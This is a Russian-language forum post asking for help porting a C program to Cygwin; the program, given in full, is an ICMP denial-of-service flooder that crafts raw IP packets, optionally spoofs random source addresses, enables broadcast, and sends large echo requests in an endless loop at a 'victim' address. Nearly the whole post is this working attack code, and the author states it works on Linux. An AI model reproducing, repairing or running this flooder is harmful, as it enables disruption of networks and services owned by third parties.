Задача, реализовать icmp dos. В линуксе исходник работает на ура. В суgwin под виндой вылетает: sendto failed(): interrupted system call Синтаксис: ./a.exe <source ip-address | random> <destination ip-address>
| Код | #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #include <strings.h>
struct iphdr { unsigned int ihl:4; unsigned int version:4; u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; };
//стуктура для определения icmp заголовкак struct icmp { u_int8_t icmp_type; u_int8_t icmp_code; u_int16_t icmp_cksum; union { struct ih_idseq { u_int16_t icd_id; u_int16_t icd_seq; } ih_idseq; } icmp_hun; #define icmp_id icmp_hun.ih_idseq.icd_id #define icmp_seq icmp_hun.ih_idseq.icd_seq }; #define ICMP_ECHO 8
uint32_t in_chksum(unsigned short *addr, int len); uint32_t resolve(char *hostaddr);
int main(int argc, char **argv) { uint32_t sd, sd2, rnd = 0; const int on = 1; uint32_t dstaddr, srcaddr; struct sockaddr_in servaddr; //буфер, который равен размеру каждого отправляемого пакета char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400]; struct iphdr *ip_hdr = (struct iphdr *)sendbuf; struct icmp *icmp_hdr = (struct icmp *) (sendbuf+sizeof(struct iphdr));
/*создаем raw-сокет*/ if((sd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { perror("socket() failed"); exit(-1); } /*так как заголовок заполняется самостоятельно, устанавливается опция IP_HDRINCL*/ if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt IPPROTO_IP, IP_HDRINCL failed"); exit(-1); } /*устанавливаем возможность посылать широковещательные сообщения*/ if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0) { perror("setsockopt SOL_SOCKET, SO_BROADCAST failed"); exit(-1); } /*если в первом аргументе командрой строки указано random то айпи адрес источника выбирается случайным образом*/ if(!strcmp(argv[1], "random")) { rnd = 1; srcaddr = htonl(random()); } else { srcaddr = resolve(argv[1]); } /*айпи адрес жертвы*/ dstaddr = resolve(argv[2]);
char abuf[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &dstaddr, abuf, INET_ADDRSTRLEN); printf("%s\n", abuf); inet_ntop(AF_INET, &srcaddr, abuf, INET_ADDRSTRLEN); printf("%s\n", abuf); bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = dstaddr; /*заполняем айпи заголовок*/ ip_hdr->ihl = 5; ip_hdr->version = 4; ip_hdr->tos = 0; ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) + 1400); ip_hdr->id = 0; ip_hdr->frag_off=0; ip_hdr->ttl = 255; ip_hdr->protocol = IPPROTO_ICMP; ip_hdr->check = 0; ip_hdr->check = in_chksum((unsigned short *)ip_hdr, sizeof(struct iphdr)); ip_hdr->saddr = srcaddr; ip_hdr->daddr = dstaddr;
/*icmp заголовок*/ icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_id = 1; icmp_hdr->icmp_seq = 1; icmp_hdr->icmp_cksum = 0; icmp_hdr->icmp_cksum = in_chksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);
/*в бесконечном цикле отправляем пакеты*/ int i = 1; while(1) { printf("%d\n", i); if(sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) { perror("sendto() failed"); exit(-1); } /*взять новый случайный айпи источника, если в первом аргументе командной строки указано random*/ if(rnd) ip_hdr->saddr=random(); }
return 0; }
//Возвращает айпи-адрес in_addr_t(uint32_t) или -1 в случае неудачи uint32_t resolve(char *hostaddr) { //переменые int sd, err; //структури struct addrinfo *ailist=NULL, hint; //структура адреса сокетов. struct sockaddr_in *sin=NULL; char *service = NULL;
//используется для задания дополнительных критериев адресов hint.ai_flags = 0; hint.ai_family = AF_INET; hint.ai_socktype = 0; hint.ai_protocol = 0; hint.ai_addrlen = 0; hint.ai_canonname = NULL; hint.ai_addr = NULL; hint.ai_next = NULL;
if((sd = getaddrinfo(hostaddr, service, &hint, &ailist))!=0) { printf("error getaddrinfo: %s\n", gai_strerror(err)); exit(-1); } sin = (struct sockaddr_in *)ailist->ai_addr; return sin->sin_addr.s_addr; }
uint32_t in_chksum(unsigned short *addr, int len) { unsigned short result; unsigned int sum = 0; /*складываем все двухбайтовые слова */ while(len > 1) { sum += *addr++; len -=2; }
/*если остался лишний байт прибавляем его к сумме */ if(len == 1) sum += *(unsigned char *) addr; sum = (sum >> 16) + (sum & 0xFFFF); /*добавляем перенос */ sum += (sum >> 16);
result= -sum; /*инвертируем результат*/ return result; }
В чем беда? Как решить проблему?
|
|